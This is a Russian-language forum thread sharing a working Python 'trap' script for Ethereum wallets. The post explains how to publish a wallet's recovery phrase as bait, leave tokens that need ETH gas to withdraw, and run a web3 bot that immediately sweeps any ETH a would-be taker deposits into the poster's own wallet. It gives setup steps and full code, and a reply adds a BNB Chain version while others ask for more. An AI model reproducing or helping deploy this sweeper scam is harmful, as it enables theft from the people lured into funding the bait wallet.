Загрузка...

Скрипт автоперевод ETH

Тема в разделе Криптовалюты создана пользователем DIAGENZ 6 мар 2022. 1848 просмотров

Загрузка...
  1. DIAGENZ
    DIAGENZ Автор темы 6 мар 2022 30 y.o. programmer from Karaganda 8 4 ноя 2020
    Скрипт-ловушка

    Логика проста:
    1. Оставляем на кошельке любую монету, для вывода которой нужно оплатить комиссию в эфире, например wETH.
    2. Остатки эфира, выводим под 0.
    3. Настраиваем скрипт. Указываем адрес и приватный ключ кошелька-ловушки, и адрес кошелька куда будем выполнять перевод.
    4. Ставим всё на дедик или хостинг, чтоб работал 24/7.
    5. Делимся фразой востановления любым извествным способом.
    6. Если кто-то захочет вывести ваши монеты, ему придётся закинуть эфир.
    7. При пополнении кошелька, весь эфир сразу будет выведен на второй кошелёк.

    Скрипт реализован на python. Для работы нужно установить библиотеку web3, и получить api на https://infura.io/

    Простой спобос установки:
    1. Ставим питон
    2. Ставим редактор
    3. Ставим библиотеку web3. Запускаем cmd. Вводим туда "pip install web3"
    4. Регаем api на https://infura.io/
    5. Открывем редактор. Вставляем код. Изменяем всё на свои данные (api, адреса, приватный ключ)
    6. Запускаем на "ctrl + b"

    Собственно, сам код:

    Код

    import os
    from web3 import Web3
    from time import sleep

    # функция перевода средств
    def send_money(nonce, to_a, value, gasPrice):
    global private_key
    global w3
    global bot

    tx = {
    'nonce':nonce,
    'to':to_a,
    'value':value,
    'gas':21000,
    'gasPrice':gasPrice
    }

    signed_tx = w3.eth.account.signTransaction(tx, private_key)
    tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
    print('Перевод выполнен: ' + tx_hash.hex())



    # api Infura (регать тут https://infura.io/)
    w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/***********'))

    # на этот адрес будет пересылаться эфир
    to_a = Web3.toChecksumAddress('0x*********************************')

    # адрес и приватный ключ кошелька, с которого будет отправляться эфир
    from_a = Web3.toChecksumAddress('*********************************')
    private_key = '**************************************************************'

    last_balance = -1
    print('Start')

    while 1:
    try:
    # запрос баланса кошелька-ловушки
    balance = w3.eth.getBalance(from_a)

    if last_balance == balance:
    continue
    else:
    last_balance = balance

    nonce = w3.eth.getTransactionCount(from_a)
    gas_price = w3.eth.gas_price


    # подбор оптимальной комиссии для более быстрой отправки

    cur_gas_price = gas_price * 3
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = gas_price * 2
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = w3.eth.gas_price
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = gas_price
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = 40000000000
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = 30000000000
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    except Exception as e:
    print('error: ' + str(e))

    finally:
    sleep(2)

    Спасибо. Удачи.
     
  2. TwentyFIFTYfox
    Для bnb такой сделать можешь?)
     
    1. Посмотреть предыдущие комментарии (1)
    2. jewes14
      TwentyFIFTYfox,
      Python
      import os
      from web3 import Web3
      from time import sleep

      # Переменные для подключения к BSC
      private_key = "your_private_key_here"
      bsc_rpc_url = "https://bsc-dataseed.binance.org/"
      w3 = Web3(Web3.HTTPProvider(bsc_rpc_url))

      # Проверка подключения
      if not w3.isConnected():
      print("Не удалось подключиться к BSC")
      exit()

      # Создаем объект для взаимодействия с аккаунтом
      account = w3.eth.account.privateKeyToAccount(private_key)

      # Получаем адрес на который будут отправляться средства
      destination_address = '0xYourDestinationAddressHere'

      # Функция отправки транзакции
      def send_money(to_address, value):
      # Получение nonce
      nonce = w3.eth.getTransactionCount(account.address)

      # Устанавливаем текущую цену газа
      gas_price = w3.eth.gasPrice

      # Создание транзакции
      tx = {
      'nonce': nonce,
      'to': to_address,
      'value': value,
      'gas': 21000,
      'gasPrice': gas_price
      }

      # Подписываем транзакцию
      signed_tx = w3.eth.account.sign_transaction(tx, private_key)

      # Отправляем подписанную транзакцию в сеть
      tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)

      # Выводим хеш транзакции
      print(f"Транзакция отправлена. Hash: {tx_hash.hex()}")

      # Основной цикл бота
      while True:
      # Получаем баланс аккаунта
      balance = w3.eth.getBalance(account.address)

      # Если баланс больше минимальной суммы для перевода
      if balance > w3.toWei(0.01, 'ether'): # Допустим, отправляем если на счету более 0.01 BNB
      # Отправляем все средства (за вычетом газа) на указанный адрес
      send_money(destination_address, balance - 21000 * w3.eth.gasPrice)

      # Проверяем баланс каждые N секунд
      sleep(10)
      16 фев 2024 Изменено
    3. Kay_USA
      jewes14, Братан , есть актуальный на ethers.js?
    4. SatoshiPoint
      Kay_USA, ответь в лс, есть рабочий на golang.
  3. magusam
    magusam 6 фев 2024 0 7 июл 2019
Top